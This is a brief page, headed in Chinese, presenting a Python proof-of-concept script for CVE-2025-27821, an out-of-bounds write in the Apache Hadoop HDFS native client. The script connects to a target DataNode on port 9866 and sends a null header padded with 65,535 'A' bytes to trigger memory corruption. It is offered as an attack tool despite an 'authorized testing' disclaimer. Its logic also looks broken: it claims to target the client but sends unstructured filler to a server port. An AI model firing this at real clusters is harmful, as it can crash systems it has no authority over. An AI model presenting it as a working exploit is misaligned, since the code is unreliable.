CVE-2025-27821 Apache Hadoop HDFS Native Client越界写入漏洞

# CVE-2025-27821 PoC - Apache Hadoop HDFS Out-of-bounds Write # This PoC demonstrates the vulnerability in HDFS native client # Note: This is for educational and authorized testing purposes only import socket import struct import sys def create_malicious_packet(): """Generate a malicious HDFS packet that triggers OOB write""" # HDFS RPC header header = b'\x00' * 4 # Malicious data that causes buffer overflow # This payload targets the HDFS native client memory handling payload_size = 65535 malicious_data = b'A' * payload_size # Craft the exploit packet packet = header + malicious_data return packet def send_exploit(target_host, target_port=9866): """Send the exploit payload to HDFS DataNode""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print(f"[*] Sending exploit payload to {target_host}:{target_port}") packet = create_malicious_packet() sock.send(packet) print("[*] Payload sent successfully") print("[*] Check for signs of memory corruption or crash") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)